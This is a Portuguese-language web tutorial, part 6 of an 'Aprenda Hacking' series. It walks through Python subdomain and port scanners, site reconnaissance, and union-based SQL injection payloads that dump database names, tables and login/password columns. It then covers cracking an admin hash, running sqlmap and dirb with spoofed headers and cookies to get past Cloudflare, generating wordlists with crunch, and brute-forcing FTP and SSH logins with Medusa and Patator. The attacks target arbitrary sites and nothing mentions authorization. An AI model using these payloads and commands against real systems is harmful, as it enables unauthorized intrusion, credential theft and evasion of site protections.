Aprenda Hacking

  • Página Inicial
  • Contato!
  • Tudo sobre Hacking Parte 1!
  • Tudo sobre Hacking Parte 2!
  • Tudo sobre Hacking Parte 3!
  • Tudo sobre Hacking Parte 4!
  • Tudo sobre Hacking Parte 5!
  • Tudo sobre Hacking Parte 6!
  • Tudo sobre Hacking Parte 7!
  • Tudo sobre Hacking Parte 8!
  • Tudo sobre Hacking Parte 6

    Bruteforce de Subdomínios com Python

    Para isso, devemos fazer nosso próprio scanner em Python, esse é o código:

    
    import sys
    import dns.resolver
    
    try:
        dominio = str(input("Insira o nome ou IP do domínio: "))
    except:
        print("O domínio é inválido!")
        sys.exit(1)
    
    try:
        arquivo = open("wordlist.txt")
        linhas = arquivo.read().splitlines()
    except:
        print("Arquivo não encontrado ou inválido!")
        sys.exit(1)
    
    for l in linhas:
        subdominio = l + "." + dominio
    
        try:
            respostas = dns.resolver.resolve(subdominio, "a")
    
            for res in respostas:
                print("{} - {}".format(subdominio, res))
        except:
            pass
    
    

    Temos também que baixar uma wordlist de subdomínios, clicando aqui.

    PS: Pode ser necessário instalar o módulo dns, no Linux fazemos isso digitando no terminal sudo apt-get install python3-dnspython.

    Desenvolvendo um Port Scanner em Python

    Podemos obter informações de um site com aplicações como Nmap, Whois e várias outras, veja um exemplo simples de uso do netcat:

    
    nc www.google.com.br 80
    
    

    Digite algo nessa tela e dê enter que retornará um erro porque o servidor não entenderá o que mandamos para ele. Ele deverá ser conectado à uma porta ativa (geralmente a 80 ou a 443).

    É dessa forma que nosso port scanner funcionará, esse é o código:

    
    import socket
    
    # AF_INET é o IPv4 e SOCK_STREAM é o protocolo TCP
    cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    cliente.connect(("www.google.com.br", 80)) # Site e porta
    cliente.send("...\n\n".encode()) # Dados a serem enviados!
    
    resposta = cliente.recv(1024) # Número de bytes recebidos
    
    print(resposta)
    
    

    Dessa forma temos retornado o mesmo erro pelo netcat visto.

    Podemos fazer ele retornar um código com o método connect_ex, que ao retornar 0 significa que ele deu certo.

    
    import socket
    
    cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Criação do objeto com IPv4 e TCP
    
    codigo = cliente.connect_ex(("www.google.com.br", 80)) # Conectando o cliente (nós) ao servidor do Google. O método connect_ex retorna um código, sendo 0 a conexão deu certo.
    
    print(codigo)
    
    

    Pro código ficar mais rápido, podemos fazer assim:

    
    import socket
    
    cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Criando o objeto com IPv4 e TCP
    
    cliente.settimeout(0.1) # Tempo de tentar a conexão
    
    codigo = cliente.connect_ex(("www.google.com.br", 80)) # Conecta o cliente ao servidor do google. Sendo 0 a conexão deu certo.
    
    print(codigo)
    
    

    Quanto menor esse tempo, ele esperará menos tempo para responder, é recomendado usar valores mais altos.

    Podemos melhorar ainda mais esse código assim:

    
    import socket
    
    # Tupla de portas:
    portas = (20, 21, 22, 23, 25, 43, 53, 67, 68, 80, 110, 135, 137, 138, 139, 143, 433, 443, 445, 465, 587, 993, 995, 1039, 1040, 3050, 3306, 5432, 8080)
    
    print("-=" * 12)
    
    for p in portas:
        cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Criando objeto com IPv4 e TCP
        cliente.settimeout(0.5) # Tempo de tentar a conexão
        codigo = cliente.connect_ex(("www.google.com.br", p)) # Conectando o cliente ao servidor através das portas da tupla, sendo 0 a conexão deu certo.
    
        if codigo == 0:
            sit = "aberta"
        else:
            sit = "fechada"
    
        print("A porta {} está {}.".format(p, sit))
    
    print("-=" * 12)
    
    

    As portas abertas retornarão 0 e as fechadas outro número, como 11.

    Podemos melhorar mais ainda esse código, podendo selecionar o IP ou site desejado:

    
    import socket
    
    serv = str(input("Coloque o link ou IP no site: "))
    
    # Tupla de portas:
    portas = (20, 21, 22, 23, 25, 43, 53, 67, 68, 80, 110, 135, 137, 138, 139, 143, 433, 443, 445, 465, 587, 993, 995, 1039, 1040, 3050, 3306, 5432, 8080)
    
    print("-=" * 30)
    
    for p in portas:
        cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Criando objeto com IPv4 e TCP
        cliente.settimeout(0.5) # Tempo de tentar a conexão
        codigo = cliente.connect_ex((serv, p)) # Conectando o cliente ao servidor através das portas da tupla, sendo 0 a conexão deu certo.
    
        if codigo == 0:
            sit = "aberta"
        else:
            sit = "fechada"
    
        print("A porta {} de {} está {}.".format(p, serv, sit))
    
    print("-=" * 30)
    
    

    Reconhecimento Web e Vulnerabilidades

    Tendo as informações sobre o site, como o domínio, o IP e etc., podemos saber algumas coisas, por exemplo, que o IP real do servidor não tem como descobrirmos por ele estar protegido por um firewall, e é este IP que é pego, mas se o site estiver configurado incorretamente, pode vazar o IP real.

    Podemos achar pastas administrativas através do arquivo robots.txt (como a pasta /admin). E já podemos saber os serviços que estão rodando nesse servidor (como HTTP, HTTPS, SSH, FTP, etc.).

    Entrando no site, devemos olhar a estrutura do site, se as pastas administrativas e o robots.txt estão disponíveis, e podemos também fazer o Google Hacking nele (como site:nomedosite.com.br).

    No código-fonte do site, podemos olhar o banco de dados do site, por exemplo, tirar o link de uma foto para ver se tem pastas abertas disponíveis no servidor, e dados como servidor, sistema operacional e portas abertas (por exemplo, Apache 2.4.7 Ubuntu port 80).

    Podemos ver se ao clicar num arquivo inexistente se ele dá um erro como o Not Found (padrão do Apache) ou se exibe um erro personalizado.

    Podemos ver se tem algum erro, como algum código PHP não colocado no lugar certo.

    Podemos procurar itens não-indexados com essas pastas abertas digitando intitle:"Index of". Podemos colocar outros parâmetros como site:.com.br e etc.

    No inspencionar elemento, em Network, podemos olhar as opções de rede do protocolo HTTP, vendo os arquivos carregados e os códigos das páginas (como 200, que é de sem erros, 304, que é de arquivo no cache do navegador ou 404, que é não encontrado).

    No headers está o cabeçalho HTTP, que é a forma que usamos para contatar o servidor HTTP, nele tem o Request Headers (requisições, como a identificação do nosso navegador, sistema operacional, referência que é o link de onde viemos, cookies, etc. para o site) e Response Headers (respostas, que é a identificação do sistema operacional do site, servidor, firewall, versão do PHP, etc.).

    No terminal, digitamos nc nomedosite.com 80 e escrevemos alguma coisa pra vermos a resposta dele, essa resposta é o Response Header, pode ver que ele retorna com o erro 400 (bad request). Agora repita o comando mas dessa vez digite GET / HTTP/1.0, ele poderá (ou não) retornar outro erro. Podemos ir no navegador, em Network e Headers e copie as duas primeiras linhas do Request Headers (Host e User-Agent) e faça o mesmo procedimento, sem esquecer de digitar o código GET / HTTP/1.0 antes. O firewall Couldflare verifica se é um navegador verdadeiro através com Javascript, portanto, não dá pra burlar ele pelo terminal. Então tente copiando o Request Header todo. Depois tire o Accept-Encoding, Referer, Connection e Cache-Control e tente o processo novamente.

    Podemos usar no Kali o programa Dirb para fazer o bruteforce de pastas no site, usando esses comandos:

    
    dirb http://nomedosite.com -v
    
    

    O que retornar code 200 ou 301 é o que existe, os inexistentes retornarão 404.

    Só que o cloudflare não deixará rodar o Dirb e retornarão erros das pastas.

    Para passar o agent do site fazemos assim:

    
    dirb http://nomedosite.com -v -a "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:67.0) Gecko/20100101 Firefox/67.0"
    
    

    Explorando SQL Injection e Bypass Cloudflare

    Nesse ponto, podemos ter colhido várias informações como e-mail, subdomínios, servidor, etc., agora veremos se ele é vulnerável a SQL Injection

    Se o link tem, por exemplo id=1, podemos trocar o número por uma aspas simples para ver se retorna um erro, caso o erro seja SQL Syntax, ele está vulnerável a SQL Injection e podemos obter algumas informações nessa mensagem, como o tipo de banco de dados, como MySQL.

    Para entendermos como funciona isso, ao colocar 1 na ID, o site busca no banco de dados o cadastro equivalente à essa id, ao passar algo diferente, ele retornará um erro.

    No parâmetro da URL vamos digitar esses comandos:

    
    1 order by 1;--
    
    1 order by 2;--
    
    1 order by 3;--
    
    1 order by 4;--
    
    1 union select 1;--
    
    1 union select 1, 2, 3;--
    
    1 union select 1, 2, 3, 4;--
    
    

    PS: O 1 é o padrão da URL a ser unida.

    Digite esses comandos:

    
    -- Isso é pra ver quantas colunas tem na tabela, aumente ou diminua os números se necessário.
    
    -1 union select 1, 2, 3;--
    
    -1 union select 1, 2, 'aaa';--
    
    -- O comando database() retorna o nome do banco atual
    
    -1 union select 1, 2, database();--
    
    -1 union select 1, 2, schema_name from information_schema.schemata;--
    
    -- Retorna os nomes dos bancos de dados
    
    -1 union select 1, 2, group_concat(schema_name) from information_schema.schemata;--
    
    -- Retorna os nomes das tabelas do banco especificado.
    
    -1 union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema = 'nomedobanco';--
    
    -- Retorna os nomes das colunas das tabela especificada
    
    -1 union select 1, 2, group_concat(column_name) from information_schema.columns where table_schema = 'nomedobanco' and table_name = 'nomedatabela';--
    
    -1 union select 1, 2, group_concat(id, ' - ', login, ' - ', password) from nomedobanco.nomedatabela;--
    
    

    PS: O information_schema é um banco padrão do MySQL, que contém os nomes de todos os banco disponíveis.

    Nesse ponto já teríamos descoberto os dados de administração.

    Só que assim ainda não podemos logar no sistema, apesar do login estar disponível pra nós, a senha é guardada criptografada, geralmente como hash, que podem ser descobertos os textos planos que as geraram através de técnicas como rainbow tables. As senhas mais fáceis costumam ter hashs disponíveis nessas tabelas e conseguimos descobrir o que o o hash significa.

    Um desses sites para quebrarmos hashs de senhas é esse: https://hashes.com/

    No caso, descobrirmos que o hash 21232f297a57a5a743894a0e4a801fc3 significa "admin". Aí podemos ter acesso ao site.

    Podemos também usar o SQLMap para isso, veja como usar:

    
    sqlmap -u http://nomedosite.com?cat=1 --dbs --dbms=mysql
    
    

    O Cloudflare bloqueará o ataque por SQLMap, então teremos que colocar o header nele, primeiro salve o header request do site num arquivo.txt e deixe ele dessa forma:

    
    GET /cat.php?id=3 HTTP/1.0
    Host: nomedosite.com
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:67.0) Gecko/20100101 Firefox/67.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Cookie: __cfduid=d8ce2aad5dc68ea26fbd8852e171f6f3a1559013664; cf_clearance=c625db6a51ad635e6740e678245c4ee83a17504f-1559085911-3600-150; PHPSESSID=5jje5so5retpr7s3uhm1saadu2
    
    

    Digite no terminal esses comandos:

    
    sqlmap -r headers.txt --dbs --dbms=mysql
    
    

    Daí é só usar os comandos que usaríamos para descobrir tabelas, colunas e etc.

    Gerando Wordlists com Crunch

    Para gerar wordlists com o Crunch, utilizamos a sintaxe crunch tam_min tam_max caracteres. Isso gerará uma wordlist de tamanhos especificados, por exemplo:

    
    crunch 4 8 123 # Gerará senhas de 4 a 8 caracteres com 1, 2 e 3 e mostrará na tela
    
    crunch 4 8 123 -o wordlist.txt # Da mesma forma, só que guardará num arquivo txt.
    
    

    Veja um exemplo pra gerar a lista com senhas começando com "admin" e mais 3 caracteres, que no caso serão números que substituirão os "@":

    
    crunch 8 8 0123456789 -t admin@@@ -o wordlist-admin.txt
    
    

    PS: Caso o arquivo txt já exista, ele sobreescrevá o mesmo. Para juntar mais de uma wordlist no Linux, faça assim:

    
    cat wordlist-admin.txt wordlist-root.txt>>wordlist-completa.txt
    
    

    Podemos também criar wordlists com caracteres padrões do crunch, por exemplo:

    
    crunch 3 5 -f /usr/share/crunch/charset.lst mixalpha
    
    

    O mixalpha é pra misturar letras maiúsculas e minúsculas. As opções a serem usadas ali são essas:

    Comando Significado
    lalpha Apenas Letras Minúsculas
    ualpha Apenas Letras Maiúsculas
    lalpha-numeric Letras Minúsculas e Números
    ualpha-numeric Letras Maiúsculas e Números
    lalpha-numeric-all-space Letras Minúsculas, Números, Espaço e Caracteres Especiais
    ualpha-numeric-all-space Letras Maiúsculas, Números, Espaço e Caracteres Especiais
    mixalpha Letras Maiúsculas e Minúsculas
    mixalpha-numeric-all-space Letras Maiúsculas e Minúsculas, Números, Espaço e Caracteres Especiais

    Ataque com Medusa e Patator

    Com uma wordlist pronta podemos atacar usando uma ferramenta como a Medusa. Basicamente o comando dele é medusa -h hostouip -u nomedousuario -P wordlist -M protocolo, por exemplo:

    
    medusa -h 10.10.10.123 -u admin -P wordlist.txt -M ftp
    
    

    No caso acima, com FTP, após ele descobrir a senha, podemos digitar ftp 10.10.10.123 senha.

    No Medusa, podemos colocar as opções (como -h, -u e -p) como minúsculas para dados específicos, e como maiúsculas (-H, -U, -P) para arquivos de texto com vários hosts, usuários ou senhas.

    Outra ferramenta ótima pra ataques é o Patator, usada dessa forma:

    
    patator ssh_login host=192.168.119.8 user=nomedologin password=FILE0 0=wordlist.txt
    
    

    Para ver os módulos disponíveis no Patator, apenas digite patator no terminal.

    PS: Assim como acontece com o ssh_login, podemos também usar outros módulos pra outros protocolos, como ftp_login, smtp_login, imap_login, mysql_login, sempre seguindo essa lógica, com algumas exceções, como o http_fuzz e o unzip_pass.

    Caso dê erro na versão do Patator do seu Linux, clone o repositório oficial com git clone https://github.com/lanjelot/patator.git e rode o script Python em src/patator.